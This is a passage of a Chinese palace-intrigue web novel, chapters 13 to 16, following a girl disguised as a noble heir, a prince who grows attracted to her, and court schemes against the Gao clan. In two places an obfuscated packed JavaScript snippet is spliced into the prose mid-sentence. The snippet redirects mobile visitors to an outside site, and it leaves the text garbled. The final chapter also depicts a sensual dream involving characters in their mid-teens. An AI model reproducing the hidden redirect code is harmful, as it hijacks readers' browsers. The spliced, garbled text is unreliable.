叶青言微怔:“殿下何必如此评价自己,您一直都是个仁慈的人。” “你眼里的我是怎样的?”林翊好奇问道。 “您是我的主君,是我心甘情愿跟随之人。”叶青言没有直接评价林翊的为人,所言却比直接的夸奖更令林翊感到愉悦。 “如此,可不兴中途退出。”林翊说。 叶青言一笑:“我不会。” 两人一路说着话,很快就到了听风水榭之外。 马蹄停下,叶青言正要下马,林翊却先她一步落地,然后将她从马上抱下,也没有放开,就这么抱着她往水榭里走。 叶青言吓了一大跳,忙道:“殿下,这般不可,快放我下来。” “无妨。”林翊浑不在意,大步流星地向前走着。 叶青言浑身僵硬的手脚都不知道怎么放了。 好在这一路并不长,不过一会儿的功夫,两人就进了水榭,林翊将叶青言放到窗边的罗汉床上。 感受到身下传来的坚硬触感,叶青言踏实了很多。 可就在她感到踏实的下一息,林翊抬起了她受伤的左腿,在她未反应过来之前,利落地脱去她的鞋袜。 叶青言闷哼了声,想要阻止,却已太晚。 她有些慌张,男生的脚与女生的脚不同,虽然她还小,对比并不明显,可她难免还是有些慌张。 林翊看着掌中那肿胀的小腿,脸色完全沉了下来,他抬手想要触碰,可手指才一靠近,就感觉到对方不安地缩了一下。 林翊怔了怔,也怕自己手重伤到她,只能无奈松开。 “你再忍忍,府医很快就会过来。” 叶青言点头,见对方没有看出异样,很是松了口气。 林翊沉吟了片刻,起身叫了外边候着的小厮去端热水上来,府医来前可以先给阿言敷一敷脚。 叶青言则趁着林翊走开叫人的功夫,将袜子重新套了上,她伤的是小腿,实没必要将脚掌也露出来。 13. 贵妃高氏 林翊吩咐完小厮回身,就看到叶青言弯着身子艰难地往受伤的脚上套袜子的画面,不由笑出了声。 叶青言抬头,就看到了林翊似笑非笑的脸,忙又低下头去。 水榭里寂静无声,叶青言不知说些什么,她觉得有些尴尬。 但很明显,林翊并没有这样的感觉,他缓步走到叶青言面前,半蹲下来,很专注地看着她,带着笑意问道:“可要我帮忙?” 叶青言听罢连连摇头。 林翊却已接过他手中的袜子:“这是我刚刚亲手脱的,当然也得由我重新给你穿上。” “殿下,不可!” 叶青言伸手欲抢回袜子,林翊自然不让:“你别动,仔细又伤了腿。” 叶青言看着他,眨了眨眼,眸底一片无措。 看着对方无辜又茫然的眼神,林翊的心情忽然变得很好。 他小心翼翼地将袜子给叶青言套上,再绑好。 午间的太阳很亮。 阳光在两人周围播下一层淡淡的光晕,林翊低着头,看着眼前莹白的小腿被灿烂的阳光镶上一层金边,熠出点点朦胧的光辉。 林翊忽然感到喉咙一阵发干,心中蓦地涌起一股说不出、道不明的隐秘念头来。 见人突然握着自己的腿不动,叶青言低头看去,透过林翊密密的长睫,但见一片烟霭茫茫,叶青言不解地唤道:“殿下?” “嗯?”林翊闻声回神,抬首。 林翊是半蹲着抬头的,他的目光由下至上,停留在叶青言的脸上。 叶青言的眼睛很大,眼波很柔软,五官精致漂亮,清逸脱尘得不似凡人,看着就像是从画中走出的人儿。 林翊手指微动,手下顿时传来一阵柔软,这让他的手指又僵了一僵。 林翊抿了抿唇,有些突然地说道:“今日要是在学宫就好了。” 这是在没话找话,但叶青言不懂,她疑惑地问道:“为什么?” 林翊始终盯着叶青言的双眼,一瞬不瞬,因而他很轻易就从叶青言的表情和话语里确认了她一点儿也不在意自己这样握着他她的腿的行为。 一时间,林翊也说不上来自己是更高兴些还是更惘然些…… 略顿了顿,林翊答道:“学宫就在太医院附近,若今日是在学宫,便能快些找太医给你瞧瞧腿伤。” 叶青言听罢笑了起来,心里的那点儿尴尬也随之消散无踪。 看着对方脸上干净无比的笑容……林翊不觉也跟着笑了。 气氛顿时又变得轻快起来。 叶青言稍稍动了动腿,道:“殿下,您可以放开我了。” “哦,对,得放开了。”林翊依言放开叶青言的腿,看着面前白得近乎透明的一截小腿,林翊刚缓过来的心情不由又变得有些紧张,他站起身时,状似不经意地说道:“阿言你可真白。”声音带了一点儿颤抖。 叶青言微微一怔,继而失笑:“殿下,您这话对于男子,可不是什么夸奖。” 林翊:“但我却是真心在夸你。” 叶青言注视着林翊,看了半天,说道:“殿下您也挺白的,嗯,我也是真心地在夸您。” 林翊闻言有片刻愣神,随即笑了,大笑出声。 捧着热水进门的小厮差点没被这笑声给惊地摔了盆。 清凉殿。 恰如殿名,殿内一片清凉。 即便是被禁足,高贵妃的日子也依旧惬意。 殿宇的四角分别摆放了冰盆,冰盆中静置着早晨刚从小花园采来的鲜花。堂屋中央的罗汉小几上,两盘红艳艳的西瓜正丝丝冒着冷气。 高贵妃应是午睡刚醒,她身上只穿了件丝质的寝衣,外罩轻薄的对襟襦裙,鸦黑的发丝随意地散在脑后,随着身侧宫女打扇的动作,与身上那粉白的襦裙一起轻飘拂动,优美得犹如簇拥着皎月的云雾,松软如绸。 如此美貌,却没换来她对面那妇人的一个笑脸。 高贵妃也不介意,拿起银叉,叉起最上面的一块西瓜送入口中。 冰镇过后的西瓜入口冰甜,很是解暑,高贵妃不由发出一声喟叹。 那妇人见状,再也控制不住心底的焦急,下意识提高声量道:“娘娘!这都什么时候了,您怎么还有心情吃瓜,倒是快些想想法子啊!” 高贵妃仿佛没有听见一般,慢条斯理地吃完西瓜,放下银叉,接过宫女及时递来的帕子拭了拭唇,才缓缓开口道:“我都被连累地禁足了,还能有什么法子。” 妇人闻言一噎,良久,才软下语气说道:“我知你是怨我们送你妹妹进宫分了你的宠爱,可这也是没有办法的事儿,你年纪不小,又生过三个孩子,这几年采选进宫的新人越来越多,贤妃、静妃、祥嫔……她们哪个不是才情了得的鲜嫩少女,你父亲这样做也是为了你好。” “那我岂不是还得感谢父亲?”高贵妃不咸不淡地反问了句,“我年纪大了,比不得五妹妹鲜嫩,既如此,母亲又何必来找我说情,不如去冷宫让五妹妹想想法子。” 那妇人,也就是高贵妃的生母薛氏听罢,不由再次提高了声音:“我是你的母亲!” “若非您是我的母亲,您以为自己还能进得来这清凉殿?” 话落,高贵妃站了起来,平静地抬手一摆。 室内宫人见状,纷纷放下手中的活计,弓着身子退了出去。 殿门开启又关上,清风随之入殿,带起青丝在高贵妃的颊畔轻飘,她身上依旧穿着那身不成体统的寝衣,却自有一道贵意,从她的眉眼间散发出来,整座宫殿都好似在这一瞬间变得明亮起来。 高贵妃低垂着眼,定定看着自己的母亲。 四目相对,薛氏脑中莫名生出了自惭形秽的念头,下意识避开目光。 高贵妃嘲讽地勾了勾唇:“您也不必为父亲找补,我很清楚他在想什么,他不过是觉得陛下越来越不受他控制,所以想安插更多的人到陛下身边,试图还像陛下刚登基那会儿一样,继续把持朝政,做人上人。” 一字一句,高贵妃说得十分清楚。 薛氏震愕无语,脸上的神情也随之变得异常难看起来。 高贵妃没有理会,略微缓了缓,又继续出言嘲讽道:“你们也不想想陛下是什么人,他既能在初时那样四面楚歌的情况下收回皇权,又岂会看不出你们的图谋?竟想用五妹妹那样空有美貌的草包来控制陛下,父亲真是越活越回去了。” 小女高蕴是薛氏最宠爱的女儿,闻言,薛氏再也压不住心中的怒火,她不满地盯着高贵妃:“那是你的亲妹妹,你怎能这样说她?” “我难道说错了?”高贵妃不答反问,“若非她被你们教养的愚蠢又不识好歹,母亲您今日又何须在这儿求我。” 薛氏无言以对,因为没法回答,对方说的都是事实。 高贵妃显然非常生气,她板着脸继续道:“我当初就说了不能让小妹进宫,她的性情不适合在宫中生存,可你们偏偏不听,非要送她进来,还拿着当年我规劝父亲同意陛下设立内阁的事情压我。” “当初的事,本就是你的错。”薛氏说道,她初时的声音有些小,显得底气不足,可越说声音就越大,好似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933625|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到了理直气壮的理由,“当初陛下欲成立内阁,你父亲本不同意,是你亲自说服的你父亲,说陛下爱重你,说所谓地内阁也不过是些品级不高的文官所组成的部门,不足畏惧,让你父亲为了你不要与陛下闹的太难看,可你看看如今,若非因为内阁,我们高氏何至于这般受制于人!” “所以母亲,您这是在怪我?”高贵妃低低问道,气氛显得有些压抑。 “母亲不是怪你,母亲只是觉得……” “那我能怎么办?”薛氏话没说完,就听高贵妃又道,她的声音很轻,停顿片刻,她突然大声喝了起来,“你们让我怎么办?那会儿整个朝堂都在父亲的把控之下,陛下一点权利也没有,长此以往,等将来阿竫继位,不也得成为受我那些侄儿们制约的傀儡皇帝?我的儿子凭什么做别人的傀儡?我要他做一个真正的皇帝,我有什么错!你们总跟我说亲疏有别,我的儿子难道不比那些侄子们亲?我顾着自己的儿子有什么错!” 薛氏被吼的一愣,她诧异地看着高贵妃,嘴唇微微颤抖,似乎是没想到对方竟会这样吼自己。 高贵妃闺名高蔷,是薛氏的第一个孩子。 高蔷出生的第二年年初,高旭就被朝廷外派至辽东做知府。 薛氏不放心与丈夫分开太久,便将高蔷托付给了高老太太,自己则跟着高旭一起离开京城。 这一去就是八年。 高蔷自幼养在高老太太的院子里,深受高老太太的影响,无论性情还是学识都承袭自老太太,与薛氏这个做母亲得并不亲厚。 虽不亲近,可高蔷一直都表现得很尊重薛氏,她从没似今次这般下过薛氏地面子。 看来她是真的恼了……薛氏悻悻地想。 这个认知让薛氏再也无法理直气壮,她看着高蔷,极艰难地堆出一个笑来,想要伸手去拉对方的手,却又不敢,只能赔笑道:“刚刚是母亲说错话了,你别生气,母亲没有怪你,你父亲也没有怪你的意思,你为竫儿着想,这当然没有错,你父亲也是支持竫儿的,内阁的事情,也是你父亲低估了陛下的能力。” 薛氏说罢,想拿杯子喝一口茶以掩饰尴尬,却发现自己的手抖的厉害,怕拿不稳茶杯出丑,便只能打消了喝茶的念头。 “你妹妹的事确实是你父亲做的不对,可他也是为了你,为了竫儿,为了我们高氏一族的未来,你放心,等将来竫儿继位,所有的权柄都会交到他的手上,没人能越过他去,你父亲跟你保证过的,你不信我,还不信他吗?高氏是你的母族,难道你还能跟自己的母族生分了不成?” 高贵妃垂了垂眼,似乎是在思索薛氏话中的真实性,半晌,她镇定地坐了回去,抬眼看着薛氏,认真说道:“女儿不敢。” 见人终于恢复常态,薛氏松了口气,因为蕴儿闹出的事情,老爷对她发了好一通火,已有几日没来过她的院子。她这次进宫,老爷再三嘱咐她无论如何也要让长女消气,并让她想法子解决现状。 长女是她如今唯一的依靠,想到这点,薛氏不由有些后悔自己刚刚的失态。 “那陛下那边……?” “陛下还在气头上,这时候谁去劝也没用,您回去后让父亲好好约束一下族人,莫再惹出事儿来。”语毕,高贵妃轻叹一声,状似无意道,“我们高氏虽是大族,可族中有用的人太少,反倒都是些扯后腿的姻亲,父亲也是辛苦了。” 薛氏闻言,不觉陷入了沉思。 若没了那些扯后腿的人…… 高贵妃端起茶杯抿了口茶,在薛氏注意不到的地方,嘴角轻轻扬起一个弧度。 14. 李氏发怒 暮色渐起,西天的红霞映着琉璃瓦下的怡然居,撒下满地起伏光影。 明厅里,一片悄寂。 谭嬷嬷一脸焦急地看了看李氏,又看了看虽伤了腿但依旧笔直站着的叶青言。 因着知晓言少爷带着二房、三房两位嫡出少爷一同前往赴宴的事情,夫人早间发了好大一通火,好不容易熬到少爷回府,便立马派人将她寻了过来,也不顾她的腿伤,就这样一直让她站着。 谭嬷嬷虽然心疼,却也没有开口劝阻李氏,因为她知晓李氏为何如此生气。 这一回,便是谭嬷嬷也不能理解叶青言的做法。 少爷何故要去提拔二房、三房的人? 是,二夫人和三夫人是曾帮助过夫人,可那又如何? 当年若非宁辉堂里那个老虔婆趁着国公爷出征之时苛待夫人,夫人又哪里需要两位妯娌的暗中接济? 午后无风,院角的檐铃纹丝不动。 李氏闭了闭眼睛,嗓音极淡地开了口:“为什么?你难道已经忘了咱们大房没抢回掌家权之前所过的日子?” “孩儿没忘。”叶青言注视着李氏,一双眸子清亮若水。 李氏问话的时候,两只眼睛一直盯着叶青言,紧紧地,她想从她脸上看到慌张与无措,可叶青言没有任何反应,她的神情依然平静,且只有平静。 李氏终于忍不住开口怒斥:“没忘?那你现在是在做什么!居然敢背着我去抬举二房、三房的人?你可知他们的父亲当年都做了什么!你父亲尸骨未寒,你的好叔叔们就想着抢走他的爵位,若非皇后娘娘的懿旨来得及时,我们母子三人早就被他们赶到府里最偏僻的院子凄惨度日了!” “我知道,这些事情我都知道,在我还很小的时候母亲您就跟我说过。”微顿了顿,叶青言再道,“不止一次。可这些事情发生的时候,两位堂弟都还没有出生,婶娘们这些年也很关照我们,当初若非二婶有意放权,再加上三婶从中斡旋,母亲您也无法仅凭我做了二皇子伴读这一事情便轻易地夺回掌家之权。” 叶青言说话时的神情依然没什么变化,出口的嗓音也仍是一贯的平静。 可她这话不仅没有平息李氏的怒火,反而令李氏更加愤怒,怒上心头。 那粗重的喘息惹得谭嬷嬷诧异地看了过去。 谭嬷嬷不解夫人为何这般生气?大少爷说得都是实情,也是因为这些原因,所以夫人重掌国公府后,并没有在吃住上苛待二、三两房。 “那又如何?谁让他们是那个老虔婆的嫡亲孙儿?他们是血脉至亲,一起还债天经地义!”李氏气的胸膛不停起伏,谭嬷嬷见状赶紧上来揉着,却被李氏一把挥开,“你如此心软,妇人之仁,将来如何能成大器!” 叶青言定定地看着李氏,半晌,问道:“所以母亲,您生气的,到底是我带着两位堂弟一起前去赴宴的这件事,还是你口中的妇人之仁?” 对上叶青言清透的目光,李氏没由来一慌:“有什么区别?若非你妇人之仁,又岂会发生那样的事。” 室内明明点着清淡沁人的香气,叶青言却觉得心口被什么东西堵住了一样,一股酸酸胀胀的不明情绪萦绕心间,但她依旧笔直站着,身体微微前倾,双手垂放在身侧,不卑不亢,与往日无任何区别,好似她的腿并未受伤。 “有区别的,母亲。”良久,叶青言轻叹道,“您其实并不在意二房、三房如何,您在意的是我不够心狠,不够果断,或者说是……不够男子气概。” 空气有一瞬的凝滞。 李氏在凝滞的空气中白了脸色,目光落在笔直站着的叶青言身上,衣摆下的手指微微用力,指节随之又变得苍白了几分。 “因为我是女子,所以但凡我身上出现任何一丝女子才有的特征,您都会毫不犹豫地选择抹杀,无论是我幼年所养的那只兔子,还是我如今对二房、三房的态度。” 屋里一片安静,没有任何声音。 谭嬷嬷艰难地、无声地咽了口唾沫,她记得言少爷说的那只兔子,那一年,少爷才只有五岁,她养了一只兔子,非常可爱的兔子,夫人知道后,命小厮抓了那只兔子,并当着少爷的面直接杀死。 谭嬷嬷张了张嘴,可终是什么也没有说,抬步走了出去,为屋里的母子二人守住大门。 “可是母亲,性别不是这样区分的。”叶青言轻声说道,她的语速很慢,神情也很认真,没有任何一丝不忿,仿佛只是客观的陈述事实,“每个人的身体里都有怯懦心软的那一部分,这与性别无关。” 李氏闻言,觉得胸口更闷了,一股闷气堵在胸腔,不上不下,闷得厉害。 这让她很愤怒,恼羞成怒,于是她板着脸继续教训叶青言道:“这些是你该想的问题吗?你该想的是如何隐瞒自己的身份,如何重振国公府的门楣,而不是在这里质问你的母亲!” 停顿了会儿,李氏软下声音再道:“言儿,不要怪母亲待你严苛,母亲也是没有办法,以女充子,这是欺君之罪,容不得一丁点儿的差池,从母亲瞒下你真实性别的那一刻起,就注定了你此生都无法似寻常人那样活着,任何一点风吹草动,都会成为落到我们母女三人身上的屠刀,母亲不敢赌,也不能去赌,你妹妹她什么也不知道,你作为兄长得护着她。” 说着说着,李氏的嘴角又显现出惯有的严肃来。 有风从窗口灌入,在桌椅摆件与地板之间放肆地来回游荡,不知为何,叶青言忽然觉得这风带来了一阵不属于夏天的寒意。 “你要明白母亲的用心,母亲所做的一切都是为了我们的将来。”李氏的话还在继续。 “我知道了,母亲。”叶青言微偏了偏头,她的视线穿过窗户,落在了满是青翠的院子里。 天光绚烂,白云在窗檐静流,绿植在窗沿轻摇,叶青言看着看着,笑了起来,笑得很是莫名。 这样突然的笑容对于叶青言来说,是很少见的情绪外露。 李氏见状,惊疑不定。 正当她想要开口说点什么时,就听叶青言缓缓再道:“您请放心,我并不是因为心慈手软才抬举的两位堂弟,之所以如此,是想借机拉拢两位婶娘,以约束她们俩那不靠谱的丈夫,陛下已在他们身上浪费了太多歉疚,这些都是父亲用命换来的,是属于我们大房的。而要说动两位婶娘,唯有让她们看到自己儿子有不依靠父亲就能出头的希望,只有这样,她们才会倾力约束自己的丈夫,不令他们再犯错误,而毁了自己儿子的前程。”微顿了顿,叶青言又说,“如此,才是对我们大房最有利的。” 最后这话,叶青言说得清楚,她又恢复了平时冷静自持的模样。 李氏闻言见状,心下大松,道:“你心里有数就好。” 其实叶青言的这一番解释并不全面,中间的漏洞很多。 可李氏并不介意。 正如叶青言前面所说的那样,李氏其实并不在意二房、三房如何,她只要知道她的儿子不是因为心软才出手助人的便可。尤其在叶青言刚刚的解释里,着重说了自己的算计,这样就够了。 其他的于李氏而言,都不重要。 叶青言闭了闭眼,良久,微微躬身道:“若无他事,孩儿便先告退了。” 李氏张了张嘴,终是摆了摆手:“让谭嬷嬷送送你。” “不必。”叶青言摇头,“我能自己过来,自然也能自己回去 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院子里树影斑驳,风从逐渐昏暗的天空深处飘撒下来,吹拂得廊下的檐铃叮叮作响。 就在叶青言即将走到院门的时候,两名美貌妇人正好在丫鬟的带领下从院外走了进来。 看到叶青言,那两名妇人没有表现出任何意外的神色,显然早就知晓她在此间。 叶青言礼貌地冲两人点了点头,唤道:“二婶、三婶。” “言哥儿也在啊。”说话的是二夫人张氏,她仿佛什么也不知道般地寒暄道,“腿伤可好些了?” “好多了,劳二婶您挂心了。”叶青言说,想了想,对两人行了一礼,道,“侄儿还未来得及上门感谢您二位派人送去穿云院的补品。” “只是婶婶们的一片心意,你还伤着,不必讲这些虚礼。”张氏笑道。 三夫人朱氏上前虚扶了叶青言一把。 叶青言感激地笑了笑,道:“那侄儿便不打扰两位婶婶了,请。” 看着消失在门口的少年身影,二夫人与三夫人对视了一眼,方继续往里走去。 国公府极大,等叶青言回到穿云院,红霞已渐渐消散,夜幕四起。 穿云院里,廊灯环绕,映照着朦胧夜色,叶青言刚走进院子,望舒便匆匆迎了出来。 “少爷!” 哑婆婆也走了过来,满脸焦急地抱起叶青言,快步走回正房。 “我没事,大夫已经看过了,没有伤到骨头,就是有些肿,只要好好上药,半月左右就能消肿痊愈,你们别担心。”叶青言看着两人笑笑说道,她的声音很温和,神态也很随意,仿佛面前的两人才是她的亲人。 望舒给叶青言倒了杯温茶:“您先喝杯茶水解解渴,奴婢这就去净房里准备。” “不急。”叶青言摇头,“你先去书房将我平日温习的策论都送到穿云院来,这阵子我就在这儿温书。” 望舒抿了抿唇,想劝少爷顾着些身子,然话没出口,就被哑婆婆扯住衣袖制止。 望舒望向哑婆婆,对方冲她摇了摇头。 “是,奴婢这就去。”望舒说道,而后转身去了前院。 哑婆婆温柔地看着叶青言,抬手不停地比划着什么。 叶青言静静看着她比划完,才道:“您放心,我知道分寸的。” 哑婆婆叹息了声,半晌,又抬手比划了两下,便转身出去准备热水了。 叶青言看着手中的茶杯,举起喝了一口,晚间不宜饮用浓茶,杯中茶水的茶味很淡,微微还带有一丝苦涩。 15. 自主婚配 同一时间的椒房殿里。 林翊正在陪郭皇后用膳。 “母后的手艺真是越发好了,尤其是这盅百合鸡汤,便是夏天喝来也觉着舒爽。”林翊语带笑意,“若不是怕母后辛苦,我真想日日都能喝到。” “我倒是不怕辛苦,只是你如今大了,不好每天都留下用膳,此乃祖制,咱们也不好违背。”郭皇后的声音温雅大气,说话间又给林翊夹了一筷子山药,“你今儿跑了一整日的马,定出了好些汗,山药补气,最是适合出汗后食用,来,多用一些。” 听到祖制两字,林翊脸色微沉,忍了又忍,还是说道:“这偌大后宫,也就母后您还遵循着祖制。” 郭皇后微微一笑:“所以我才能站在道德的至高点上俯瞰别人啊。” 林翊一愣,显然没有想到母亲会说出这样的话来,而她之后的话语,更让林翊吃惊。 “我们有的时候确实可以不在意名声,但有些时候也还是要在意名声的。”郭皇后撂下筷子,认真地看着林翊,缓缓说道,“因为名声好的人,很多事情做起来也会比较轻易。” 林翊眉宇微蹙,下意识抬手抓住郭皇后的手,问道:“母后,可是出了什么事?” 郭皇后微微挑眉,反问道:“你怎会这么想?” “您以前从来不会说这样的话。” 郭皇后轻轻拍了拍林翊的手,语气温柔:“我只是没有对你说过这样的话。” 林翊闻言,下意识就想起今日午后与叶青言的那一场谈话。 若父皇对高贵妃的宠爱是故意为之,那他对母后的冷漠又是否只是作戏? 母后又是否知晓实情? 林翊张了张嘴,想要说些什么。 可未等他出声,就听郭皇后又道:“你放心,母后没事,只是突然有感而发。” 至于是哪来的感想,郭皇后没有说。 看着对方微垂的眼睑,林翊将到嘴边的疑问给咽了回去,无论如何,母后这些年所受的冷遇都是真的。 谈话告一段落,母子俩又重新拿起了筷子用饭。 晚膳过后,郭皇后跟林翊说起了他的婚事。 “眼瞧着七夕又快到了,你的婚事,也该定下来了。” “婚事?”林翊不掩愕然地看着郭皇后。 郭皇后颔首:“等过完九月初的生辰,你就得离开学宫进入朝堂参政,同时也要从庆宁宫里迁出,去往宫外的皇子府邸,届时离开皇宫,府上还是得有个女主人坐镇才行。” “我还小,婚事不急。”林翊说道,他还不想成婚,一点也不想! “你都快十六了,哪里还小?” 林翊:“反正我就是不急,好不容易可以出府单过,我还想再自在几年。” “你啊。”郭皇后失笑摇头,“还不想大婚也没事,咱们先把人选定下来,等过两年你自在够了,再行大婚也可。” “那不是平白耽误人家姑娘?”林翊并不赞同,“这样不好。” “怎么就是耽误了?你这孩子。”郭皇后听罢皱眉,“这话出去了可不兴乱说。” 在大庆朝,先定亲,过两年再成亲,是极常见的事。当然,中途出了岔子的婚事也不是没有,但毕竟只是少数,林翊此言若是传出,只恐有心人从中作梗。 林翊抿了抿唇:“反正就是不好,母后您还是先别给我选妃了。” 郭皇后定定看着林翊,良久,喜道:“我们御章不会是有心上人了吧?” 心上人…… 林翊脑中不由自主地浮现出叶青言的脸来,心跳倏地漏了一拍。 看着自家儿子这明显神游物外的模样,作为过来人的郭皇后哪里还能不知,笑着问道:“是哪家的姑娘?” “没有哪家姑娘!”林翊急急否认,“母后您想岔了,我就是单纯地不想成婚。” “不想成婚?”一道男子的声音突兀地从殿门处传来。 殿里的二人顿时站起,一眼就看到了嘉和帝,林翊立即撩袍下拜:“参见父皇。” 郭皇后也上前几步,行礼:“陛下。” “起来。”嘉和帝在郭皇后的臂上轻轻扶了一下,又对林翊道,“你也平身。” 转身在位置上坐定,嘉和帝问林翊道:“朕刚刚听你说还不想成婚?” 林翊:“是。” “为何?”不等林翊开口,嘉和帝淡淡又道,“不要说什么我还小,想先立业再成家之类的废话,那不是你的性格会考虑的事。” 林翊微微一怔,诧异地看向嘉和帝。他不是奇怪父皇为何这般了解他,而是惊诧于对方竟将所有冠冕堂皇的理由全部堵死,只要求一个真正的答案。 这完全不似父皇平日话说三分的性格。 早前的母后也是同样…… 林翊的目光慢慢从嘉和帝转到了郭皇后身上,面前两人都神态淡然地看着他。 似乎有什么东西正在发生改变。 屋里的气氛忽然变得压抑起来,那些从院墙外吹来的夜风,仿佛都要被冻凝一般。 沉吟片刻,林翊据实答道:“我不愿联姻,我的妻子,我要自己挑选。” 嘉和帝平静地看着自己的儿子:“即便她身份不够,于你毫无益处?” “我是娶妻,不是寻找盟友。”林翊盯着嘉和帝的双眼,一丝也不游离,“我跟你不一样。” 最后这话,林翊说得毫不留情。 也是奇怪,听着林翊如此大逆不道的话语,嘉和帝不仅没有生气,反而朗声笑了起来:“那你如何肯定自己将来不会后悔?不会受现实所迫?需知站得越高,所要承受的压力越多,还是你打算就此安稳,不再向高处攀登?” 话语落下,一股独属于帝王的威压,牢牢地将林翊笼罩了住。 “当然不是。”林翊顶着帝王威仪往前踏了一步,他回答得很认真,“您说的我都明白,可即便如此,我也不会为了尚未发生的事情放弃自己当下的选择。” 嘉和帝挑了挑眉,眼神示意林翊继续。 “其实有很多事情,并不一定就会发生,你们只是想把所有的不定都扼杀在萌芽之中。”微顿了顿,林翊抬眸注视着嘉和帝,一字一字道,“你们只是将自己看得太过尊贵,这样是不对的,民贵君轻,孔孟的很多道理我都不甚赞同,唯独此点。” 嘉和帝静静看着林翊。 林翊不闪不避。 良久,嘉和帝欣慰地笑了起来:“记住你今日所说的话,你要的自主婚配权利,朕允了。”话落,嘉和帝摆了摆手,“退下吧。” 林翊闻言,下意识看向了郭皇后。 郭皇后冲他点了点头。 “儿臣告退。”林翊行礼,退了出去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943782|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随着林翊离开,屋里顿时安静了下来。 良久,嘉和帝笑着对郭皇后道:“比起林氏,他瞧着倒是更有你们郭氏的风骨。” 郭皇后没有接话,而是倒了杯清茶递给皇帝。 嘉和帝接过茶盏,抿了一口,才继续说道:“郭氏的风骨好啊,只是这孩子虽然聪明,政治斗争方面的经验到底少了一些,还是需要继续磨练。” “御章那不是郭氏的风骨,而是陛下你的风骨。”郭皇后终于开了口。 嘉和帝摇了摇头:“我如今已经彻底沦为传统意义上的合格帝王,心思深沉,精于算计,平衡后宫,早就失了风骨。” 郭皇后无言,一会儿,问道:“蔷娘那边如何了?” “进展还算顺利,但估计也糊弄不了多久了,这应该是最后一次,高旭不是个傻子,随着手上权利的逐渐流失,他应该也快起疑了。” 郭皇后稍稍变了脸色:“经过这几年的筹谋,你手上掌握的权利已足够与他抗衡,不知你打算何时动手。” 嘉和帝想了想:“一切都等御章进入朝堂之后再说,有些事情也该让他参与进来了,光有风骨可做不好皇帝。” “竑儿……你到时打算如何?” “蔷娘说那是他的儿子,她会负责,不用我去插手。” 郭皇后听罢笑了起来:“这么多年了,她的性子还是和以前一样,一点儿没变。” 嘉和帝看着微笑的郭皇后,想起她曾经肆意洒脱大笑的样子,忍不住抬手摸摸她的脸:“可你却变了,是我对不起你。” 郭皇后抬手握住他的手:“我是皇后,从成为你妻子的那一刻,我就明白自己身上的责任,况且我还有兄长的大仇未报。” 嘉和帝看着两人交握的双手,道:“兄长的死,太傅的死,还有潼关那数以万计兵将的性命……高氏一族所造的孽,总有一天我们会全数讨回。” “我会一直陪着你的。” “嗯。”嘉和帝轻柔的将皇后揽进怀里。 回到庆宁宫的林翊见时间还早,本想再看一看书,却怎么也静不下心来,脑海里翻来覆去,全是方才与父皇的那一席交谈。 从朝政想到婚事,林翊越想越觉得烦躁,索性摊开宣纸,提起毛笔,试图练字静心。 心神不属地写了几个字,待看清自己在纸上写下的叶青言三个字时,林翊不由愣了一下,随即浑身僵硬。 刚刚母后提到婚事的时候,他也是下意识就想到了阿言。 …… 一定是平日跟阿言待一起的时间太久,阿言又生得那样好看,所以才会有此乌龙。 一定是的! 林翊焦躁地来回踱步,试图让自己接受这个说法。 可这一回,他无法就这样说服自己,在他心底,总有一个声音不断地否定着他。 伺候的太监端着托盘走进来,就看到了林翊来回踱步的样子。 “殿下?”太监张德顺小心翼翼地唤了一声。 林翊停下脚步:“何事?” 张德顺躬身上前,将手中的托盘呈上:“今儿御膳派人送了些樱桃来,奴才洗了一盘,您可要尝尝?” 林翊侧目,看着盘子里红艳艳的樱桃,随手拈起一枚塞入口中,很甜。 “明早准备一些,我要带去学宫。” “喏。” 16. 春思入梦 深夜,黑暗笼罩着大庆皇宫。 庆宁宫内,林翊正在酣睡。 他睡得很熟,很深,还做起了梦。 ——春梦。 梦里他正在亲吻一个人,亲得十分投入。 那人乖顺地依在他胸前,任由他肆无忌惮地抚摸、亲吻,渐渐的,他不再满足于亲吻,唇舌顺着对方的脖颈慢慢往下,扶在对方肩膀的双手也顺着背部往对方的身下摸去。 手掌下的肌肤如白玉般嫩滑细腻。 那人无意识发出一声叮咛,梦中的林翊闻声睁开了双眼,抬眸,借着周围黯淡的灯光,林翊看清了自己怀中人儿的脸。 眸若墨星,唇似红梅,长长的睫羽因为难耐而轻轻颤抖,嫩白的双颊上有两团淡淡的红晕,如瀑青丝散落在脸颊两旁,看着极为妩媚。 ……梦中人竟是叶青言,与往常完全不同的叶青言。 林翊怔怔愣在当场。 见人迟迟没有动作,梦中的叶青言不满地低吟了一声,她低垂下眼,眨着那双水汪汪的大眼睛,看着林翊,可怜兮兮地唤道:“御章哥哥……” “啊——” 一声凄厉的叫喊从庆宁宫主殿内传出。 林翊满头大汗地从床上坐起,捂住胸口,重重喘息。 梦中的场景在脑中挥之不去,林翊的胸腔好似被塞进一块烧得滚烫的红铁,似欲将他的整个五脏六腑都给烙穿。 我这是怎么了……? 林翊惊疑不定地看着自己的双手,手上仿佛还残留着梦中那细腻柔软的触感…… 我怎会做这样的梦?莫不是……缺女人了? “殿下,殿下,您怎么了?”屋外负责守夜的张德顺从听到屋里喊声的第一时间,就急急地跑了过来,伸着脖子在门外焦急地问道。 可过了许久也没有听到屋里人的回应,张德顺慌张地想要推门进入,就听见屋里的人道:“我没事。” 顿了顿,林翊又说:“去打盆水来,要冷水。” 